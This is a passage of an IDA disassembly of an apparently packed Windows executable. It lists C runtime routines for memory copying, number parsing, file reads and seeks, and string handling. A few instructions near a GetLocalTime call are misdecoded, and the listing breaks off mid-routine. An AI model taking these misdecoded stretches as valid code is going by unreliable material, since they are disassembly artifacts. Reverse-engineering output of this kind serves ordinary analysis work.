--------------------------------------------------------------------------- loc_413044: ; CODE XREF: sub_412E60+1D6j ; DATA XREF: sub_412E60+1DDr jmp off_413140[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_413058 dd offset loc_413078 dd offset loc_4130A0 ; --------------------------------------------------------------------------- loc_413058: ; DATA XREF: sub_412E60+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_413020 std rep movsd cld jmp off_413140[edx*4] ; --------------------------------------------------------------------------- align 4 loc_413078: ; DATA XREF: sub_412E60+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_413020 std rep movsd cld jmp off_413140[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4130A0: ; DATA XREF: sub_412E60+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_413020 std rep movsd cld jmp off_413140[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4130F4 ; --------------------------------------------------------------------------- cld xor [ecx+0], al add al, 31h inc ecx add [ecx+esi], cl inc ecx add [ecx+esi], dl inc ecx add [ecx+esi], bl inc ecx add [ecx+esi], ah inc ecx loc_4130EF: ; DATA XREF: sub_412E60+1C2r add [edi], dh xor [ecx+0], eax loc_4130F4: ; DATA XREF: sub_412E60+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_413137: ; CODE XREF: sub_412E60+1C2j jmp off_413140[edx*4] ; --------------------------------------------------------------------------- align 10h off_413140 dd offset loc_413150 ; DATA XREF: sub_412E60+1B7r ; sub_412E60:loc_413044r ... dd offset loc_413158 dd offset loc_413168 dd offset loc_41317C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_412E60+1B7j ; sub_412E60:loc_413044j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_413158: ; CODE XREF: sub_412E60+1B7j ; sub_412E60:loc_413044j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_413168: ; CODE XREF: sub_412E60+1B7j ; sub_412E60:loc_413044j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41317C: ; CODE XREF: sub_412E60+1B7j ; sub_412E60:loc_413044j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_412E60 endp ; =============== S U B R O U T I N E ======================================= sub_413195 proc near ; CODE XREF: sub_4037A2+34p ; sub_4037A2+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_4127B1 pop ecx pop ecx retn sub_413195 endp ; =============== S U B R O U T I N E ======================================= sub_4131A3 proc near ; CODE XREF: sub_413210+4p arg_0 = dword ptr 4 push esi push dword_464234 call sub_417518 mov edx, dword_464234 pop ecx mov ecx, dword_464230 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_413202 push edx call sub_417518 add eax, 10h push eax push dword_464234 call sub_413D8F add esp, 0Ch test eax, eax jnz short loc_4131E5 retn ; --------------------------------------------------------------------------- loc_4131E5: ; CODE XREF: sub_4131A3+3Fj mov ecx, dword_464230 sub ecx, dword_464234 mov dword_464234, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_464230, ecx loc_413202: ; CODE XREF: sub_4131A3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_464230, 4 retn sub_4131A3 endp ; =============== S U B R O U T I N E ======================================= sub_413210 proc near ; CODE XREF: sub_40388F+1Ap ; sub_41C9BE+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4131A3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_413210 endp ; =============== S U B R O U T I N E ======================================= sub_413222 proc near ; DATA XREF: .nsp0:0041F014o push 80h call sub_41279F test eax, eax pop ecx mov dword_464234, eax jnz short loc_413243 push 18h call sub_4144BE mov eax, dword_464234 pop ecx loc_413243: ; CODE XREF: sub_413222+12j and dword ptr [eax], 0 mov eax, dword_464234 mov dword_464230, eax retn sub_413222 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413251 proc near ; CODE XREF: sub_413459+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_413269: ; CODE XREF: sub_413251+46j cmp dword_4316BC, 1 jle short loc_413281 movzx eax, bl push 8 push eax call sub_414E26 pop ecx pop ecx jmp short loc_413290 ; --------------------------------------------------------------------------- loc_413281: ; CODE XREF: sub_413251+1Fj mov ecx, off_4314B0 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_413290: ; CODE XREF: sub_413251+2Ej test eax, eax jz short loc_413299 mov bl, [esi] inc esi jmp short loc_413269 ; --------------------------------------------------------------------------- loc_413299: ; CODE XREF: sub_413251+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_4132A7 or [ebp+arg_C], 2 jmp short loc_4132AC ; --------------------------------------------------------------------------- loc_4132A7: ; CODE XREF: sub_413251+4Ej cmp bl, 2Bh jnz short loc_4132B2 loc_4132AC: ; CODE XREF: sub_413251+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_4132B2: ; CODE XREF: sub_413251+59j mov eax, [ebp+arg_8] test eax, eax jl loc_413449 cmp eax, 1 jz loc_413449 cmp eax, 24h jg loc_413449 push 10h test eax, eax pop ecx jnz short loc_4132FA cmp bl, 30h jz short loc_4132E4 mov [ebp+arg_8], 0Ah jmp short loc_413316 ; --------------------------------------------------------------------------- loc_4132E4: ; CODE XREF: sub_413251+88j mov al, [esi] cmp al, 78h jz short loc_4132F7 cmp al, 58h jz short loc_4132F7 mov [ebp+arg_8], 8 jmp short loc_413316 ; --------------------------------------------------------------------------- loc_4132F7: ; CODE XREF: sub_413251+97j ; sub_413251+9Bj mov [ebp+arg_8], ecx loc_4132FA: ; CODE XREF: sub_413251+83j cmp [ebp+arg_8], ecx jnz short loc_413316 cmp bl, 30h jnz short loc_413316 mov al, [esi] cmp al, 78h jz short loc_41330E cmp al, 58h jnz short loc_413316 loc_41330E: ; CODE XREF: sub_413251+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_413316: ; CODE XREF: sub_413251+91j ; sub_413251+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_413326: ; CODE XREF: sub_413251+16Cj cmp dword_4316BC, 1 movzx esi, bl jle short loc_41333E push 4 push esi call sub_414E26 pop ecx pop ecx jmp short loc_413349 ; --------------------------------------------------------------------------- loc_41333E: ; CODE XREF: sub_413251+DFj mov eax, off_4314B0 mov al, [eax+esi*2] and eax, 4 loc_413349: ; CODE XREF: sub_413251+EBj test eax, eax jz short loc_413355 movsx ecx, bl sub ecx, 30h jmp short loc_413387 ; --------------------------------------------------------------------------- loc_413355: ; CODE XREF: sub_413251+FAj cmp dword_4316BC, 1 jle short loc_413369 push edi push esi call sub_414E26 pop ecx pop ecx jmp short loc_413374 ; --------------------------------------------------------------------------- loc_413369: ; CODE XREF: sub_413251+10Bj mov eax, off_4314B0 mov ax, [eax+esi*2] and eax, edi loc_413374: ; CODE XREF: sub_413251+116j test eax, eax jz short loc_4133C2 movsx eax, bl push eax call sub_417541 pop ecx mov ecx, eax sub ecx, 37h loc_413387: ; CODE XREF: sub_413251+102j cmp ecx, [ebp+arg_8] jnb short loc_4133C2 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_4133AC jnz short loc_4133A6 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_4133AC loc_4133A6: ; CODE XREF: sub_413251+147j or [ebp+arg_C], 4 jmp short loc_4133B5 ; --------------------------------------------------------------------------- loc_4133AC: ; CODE XREF: sub_413251+145j ; sub_413251+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_4133B5: ; CODE XREF: sub_413251+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_413326 ; --------------------------------------------------------------------------- loc_4133C2: ; CODE XREF: sub_413251+125j ; sub_413251+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4133E0 test edx, edx jz short loc_4133DA mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4133DA: ; CODE XREF: sub_413251+181j and [ebp+var_8], 0 jmp short loc_41342D ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: sub_413251+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_413406 test cl, 1 jnz short loc_41342D and ecx, 2 jz short loc_4133FD cmp [ebp+var_8], 80000000h ja short loc_413406 loc_4133FD: ; CODE XREF: sub_413251+1A1j test ecx, ecx jnz short loc_41342D cmp [ebp+var_8], eax jbe short loc_41342D loc_413406: ; CODE XREF: sub_413251+197j ; sub_413251+1AAj test byte ptr [ebp+arg_C], 1 mov dword_462BC4, 22h jz short loc_41341C or [ebp+var_8], 0FFFFFFFFh jmp short loc_41342D ; --------------------------------------------------------------------------- loc_41341C: ; CODE XREF: sub_413251+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41342D: ; CODE XREF: sub_413251+18Dj ; sub_413251+19Cj ... test edx, edx jz short loc_413436 mov eax, [ebp+var_4] mov [edx], eax loc_413436: ; CODE XREF: sub_413251+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_413444 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_413444: ; CODE XREF: sub_413251+1E9j mov eax, [ebp+var_8] jmp short loc_413454 ; --------------------------------------------------------------------------- loc_413449: ; CODE XREF: sub_413251+66j ; sub_413251+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_413452 mov [eax], edi loc_413452: ; CODE XREF: sub_413251+1FDj xor eax, eax loc_413454: ; CODE XREF: sub_413251+1F6j pop edi pop esi pop ebx leave retn sub_413251 endp ; =============== S U B R O U T I N E ======================================= sub_413459 proc near ; CODE XREF: sub_403A5B+4BDp ; .nsp0:0040D561p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_413251 add esp, 10h retn sub_413459 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413470 proc near ; CODE XREF: sub_403A5B+266p ; sub_403A5B+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_4126F0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41760D add esp, 10h leave retn sub_413470 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4134A4 proc near ; CODE XREF: sub_403A5B+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_41D058 ; GetLocalTime lea eax, [ebp+var_20] push eax call near ptr 0AB0000h mov esp, 0EA458B66h cmp ax, word_462BBA jnz short loc_413509 mov ax, [ebp+var_18] cmp ax, word_462BB8 jnz short loc_413509 mov ax, [ebp+var_1A] cmp ax, word_462BB6 jnz short loc_413509 mov ax, [ebp+var_1E] cmp ax, word_462BB2 jnz short loc_413509 mov ax, [ebp+var_20] cmp ax, word_462BB0 jnz short loc_413509 mov eax, dword_462BA8 jmp short loc_41354E ; --------------------------------------------------------------------------- loc_413509: ; CODE XREF: sub_4134A4+28j ; sub_4134A4+35j ... lea eax, [ebp+var_CC] push eax call near ptr 0AB0000h push cs cmp eax, 0FFFFFFFFh jz short loc_413536 cmp eax, 2 jnz short loc_413532 cmp [ebp+var_32], 0 jz short loc_413532 cmp [ebp+var_24], 0 jz short loc_413532 push 1 pop eax jmp short loc_413539 ; --------------------------------------------------------------------------- loc_413532: ; CODE XREF: sub_4134A4+7Aj ; sub_4134A4+81j ... xor eax, eax jmp short loc_413539 ; --------------------------------------------------------------------------- loc_413536: ; CODE XREF: sub_4134A4+75j or eax, 0FFFFFFFFh loc_413539: ; CODE XREF: sub_4134A4+8Cj ; sub_4134A4+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_462BB0 movsd movsd movsd movsd pop edi mov dword_462BA8, eax pop esi loc_41354E: ; CODE XREF: sub_4134A4+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_4180BE mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41357E mov [ecx], eax locret_41357E: ; CODE XREF: sub_4134A4+D6j leave retn sub_4134A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413580 proc near ; CODE XREF: sub_4040DB+4Ep ; sub_405290+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_4135A4 xor eax, eax jmp loc_41364D ; --------------------------------------------------------------------------- loc_4135A4: ; CODE XREF: sub_413580+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_4135B7 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_4135C3 ; --------------------------------------------------------------------------- loc_4135B7: ; CODE XREF: sub_413580+2Dj mov [ebp+arg_C], 1000h jmp short loc_4135C3 ; --------------------------------------------------------------------------- loc_4135C0: ; CODE XREF: sub_413580+C4j mov ecx, [ebp+arg_0] loc_4135C3: ; CODE XREF: sub_413580+35j ; sub_413580+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_4135F5 mov eax, [esi+4] test eax, eax jz short loc_4135F5 cmp ecx, eax mov edi, ecx jb short loc_4135DA mov edi, eax loc_4135DA: ; CODE XREF: sub_413580+56j push edi push dword ptr [esi] push ebx call sub_411FD0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_413640 ; --------------------------------------------------------------------------- loc_4135F5: ; CODE XREF: sub_413580+49j ; sub_413580+50j cmp ecx, [ebp+arg_C] jb short loc_413628 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41360B xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41360B: ; CODE XREF: sub_413580+80j push eax push ebx push dword ptr [esi+10h] call sub_418259 add esp, 0Ch test eax, eax jz short loc_413652 cmp eax, 0FFFFFFFFh jz short loc_413658 sub [ebp+arg_0], eax add ebx, eax jmp short loc_413640 ; --------------------------------------------------------------------------- loc_413628: ; CODE XREF: sub_413580+78j push esi call sub_418180 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41365C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_413640: ; CODE XREF: sub_413580+73j ; sub_413580+A6j cmp [ebp+arg_0], 0 jnz loc_4135C0 mov eax, [ebp+arg_8] loc_41364D: ; CODE XREF: sub_413580+1Fj ; sub_413580+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413652: ; CODE XREF: sub_413580+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41365C ; --------------------------------------------------------------------------- loc_413658: ; CODE XREF: sub_413580+9Fj or dword ptr [esi+0Ch], 20h loc_41365C: ; CODE XREF: sub_413580+B2j ; sub_413580+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41364D sub_413580 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413668 proc near ; CODE XREF: sub_404175+2B2p ; .nsp0:00404853p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_413681: ; CODE XREF: sub_413668+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_413681 mov edx, [ebp+arg_0] test edx, edx jnz short loc_4136A9 mov edx, dword_462BC0 loc_4136A9: ; CODE XREF: sub_413668+39j ; sub_413668+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_4136C9 test al, al jz short loc_4136C9 inc edx jmp short loc_4136A9 ; --------------------------------------------------------------------------- loc_4136C9: ; CODE XREF: sub_413668+58j ; sub_413668+5Cj mov ebx, edx loc_4136CB: ; CODE XREF: sub_413668+81j mov al, [edx] test al, al jz short loc_4136EF movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_4136EB inc edx jmp short loc_4136CB ; --------------------------------------------------------------------------- loc_4136EB: ; CODE XREF: sub_413668+7Ej and byte ptr [edx], 0 inc edx loc_4136EF: ; CODE XREF: sub_413668+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_462BC0, edx and eax, ebx pop ebx leave retn sub_413668 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413710 proc near ; CODE XREF: sub_404A02+1B4p ; .nsp0:00405936p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_413793 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_413734 shr ecx, 2 jnz short loc_4137A1 jmp short loc_413755 ; --------------------------------------------------------------------------- loc_413734: ; CODE XREF: sub_413710+1Bj ; sub_413710+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_413762 test al, al jz short loc_41376A test esi, 3 jnz short loc_413734 mov ebx, ecx shr ecx, 2 jnz short loc_4137A1 loc_413750: ; CODE XREF: sub_413710+8Fj and ebx, 3 jz short loc_413762 loc_413755: ; CODE XREF: sub_413710+22j ; sub_413710+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41378E dec ebx jnz short loc_413755 loc_413762: ; CODE XREF: sub_413710+2Bj ; sub_413710+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41376A: ; CODE XREF: sub_413710+2Fj test edi, 3 jz short loc_413784 loc_413772: ; CODE XREF: sub_413710+72j mov [edi], al inc edi dec ecx jz loc_413806 test edi, 3 jnz short loc_413772 loc_413784: ; CODE XREF: sub_413710+60j mov ebx, ecx shr ecx, 2 jnz short loc_4137F7 loc_41378B: ; CODE XREF: sub_413710+7Fj ; sub_413710+F4j mov [edi], al inc edi loc_41378E: ; CODE XREF: sub_413710+4Dj dec ebx jnz short loc_41378B pop ebx pop esi loc_413793: ; CODE XREF: sub_413710+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_413799: ; CODE XREF: sub_413710+A9j ; sub_413710+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_413750 loc_4137A1: ; CODE XREF: sub_413710+20j ; sub_413710+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_413799 test dl, dl jz short loc_4137EB test dh, dh jz short loc_4137E1 test edx, 0FF0000h jz short loc_4137D7 test edx, 0FF000000h jnz short loc_413799 mov [edi], edx jmp short loc_4137EF ; --------------------------------------------------------------------------- loc_4137D7: ; CODE XREF: sub_413710+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_4137EF ; --------------------------------------------------------------------------- loc_4137E1: ; CODE XREF: sub_413710+B1j and edx, 0FFh mov [edi], edx jmp short loc_4137EF ; --------------------------------------------------------------------------- loc_4137EB: ; CODE XREF: sub_413710+ADj xor edx, edx mov [edi], edx loc_4137EF: ; CODE XREF: sub_413710+C5j ; sub_413710+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_413801 loc_4137F7: ; CODE XREF: sub_413710+79j xor eax, eax loc_4137F9: ; CODE XREF: sub_413710+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_4137F9 loc_413801: ; CODE XREF: sub_413710+E5j and ebx, 3 jnz short loc_41378B loc_413806: ; CODE XREF: sub_413710+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_413710 endp ; =============== S U B R O U T I N E ======================================= sub_41380E proc near ; CODE XREF: sub_405290+2E2p ; sub_405290+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41388A mov edi, [esp+8+arg_8] test edi, edi jz short loc_41382D cmp edi, 1 jz short loc_41382D cmp edi, 2 jnz short loc_41388A loc_41382D: ; CODE XREF: sub_41380E+13j ; sub_41380E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_413844 push esi call sub_4184E9 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_413844: ; CODE XREF: sub_41380E+27j push esi call sub_414FB4 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_413859 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41386D ; --------------------------------------------------------------------------- loc_413859: ; CODE XREF: sub_41380E+42j test al, 1 jz short loc_41386D test al, 8 jz short loc_41386D test ah, 4 jnz short loc_41386D mov dword ptr [esi+18h], 200h loc_41386D: ; CODE XREF: sub_41380E+49j ; sub_41380E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41844F add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_413897 ; --------------------------------------------------------------------------- loc_41388A: ; CODE XREF: sub_41380E+Bj ; sub_41380E+1Dj mov dword_462BC4, 16h or eax, 0FFFFFFFFh loc_413897: ; CODE XREF: sub_41380E+7Aj pop edi pop esi retn sub_41380E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138A0 proc near ; CODE XREF: sub_405290+2ACp ; sub_405290+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_4138D1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_4138CF jz short loc_4138D1 dec ecx dec ecx loc_4138CF: ; CODE XREF: sub_4138A0+29j not ecx loc_4138D1: ; CODE XREF: sub_4138A0+9j ; sub_4138A0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_4138A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4138E0 proc near ; CODE XREF: sub_405787+5Cp ; sub_405787+9Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_413994 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41390A loc_4138FB: ; CODE XREF: sub_4138E0+28j mov al, [edi] inc edi test al, al jz short loc_41393B test edi, 3 jnz short loc_4138FB loc_41390A: ; CODE XREF: sub_4138E0+19j ; sub_4138E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41390A mov eax, [edi-4] test al, al jz short loc_413948 test ah, ah jz short loc_413943 test eax, 0FF0000h jz short loc_41393E test eax, 0FF000000h jnz short loc_41390A loc_41393B: ; CODE XREF: sub_4138E0+20j dec edi jmp short loc_41394B ; --------------------------------------------------------------------------- loc_41393E: ; CODE XREF: sub_4138E0+52j sub edi, 2 jmp short loc_41394B ; --------------------------------------------------------------------------- loc_413943: ; CODE XREF: sub_4138E0+4Bj sub edi, 3 jmp short loc_41394B ; --------------------------------------------------------------------------- loc_413948: ; CODE XREF: sub_4138E0+47j sub edi, 4 loc_41394B: ; CODE XREF: sub_4138E0+5Cj ; sub_4138E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_413960 mov ebx, ecx shr ecx, 2 jnz short loc_4139AC jmp short loc_41397C ; --------------------------------------------------------------------------- loc_413960: ; CODE XREF: sub_4138E0+75j ; sub_4138E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41399A mov [edi], dl inc edi dec ecx jz short loc_413990 test esi, 3 jnz short loc_413960 mov ebx, ecx shr ecx, 2 jnz short loc_4139AC loc_41397C: ; CODE XREF: sub_4138E0+7Ej ; sub_4138E0+CAj mov ecx, ebx and ecx, 3 jz short loc_413990 loc_413983: ; CODE XREF: sub_4138E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_413992 dec ecx jnz short loc_413983 loc_413990: ; CODE XREF: sub_4138E0+8Bj ; sub_4138E0+A1j mov [edi], cl loc_413992: ; CODE XREF: sub_4138E0+ABj pop ebx pop esi loc_413994: ; CODE XREF: sub_4138E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41399A: ; CODE XREF: sub_4138E0+85j ; sub_4138E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4139A4: ; CODE XREF: sub_4138E0+E4j ; sub_4138E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41397C loc_4139AC: ; CODE XREF: sub_4138E0+7Cj ; sub_4138E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4139A4 test dl, dl jz short loc_41399A test dh, dh jz short loc_4139F8 test edx, 0FF0000h jz short loc_4139E8 test edx, 0FF000000h jnz short loc_4139A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4139E8: ; CODE XREF: sub_4138E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4139F8: ; CODE XREF: sub_4138E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4138E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A10 proc near ; CODE XREF: .nsp0:00405B6Ap ; .nsp0:0040CFCFp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_413A31 xor eax, eax jmp short loc_413A33 ; --------------------------------------------------------------------------- loc_413A31: ; CODE XREF: sub_413A10+1Bj mov eax, edi loc_413A33: ; CODE 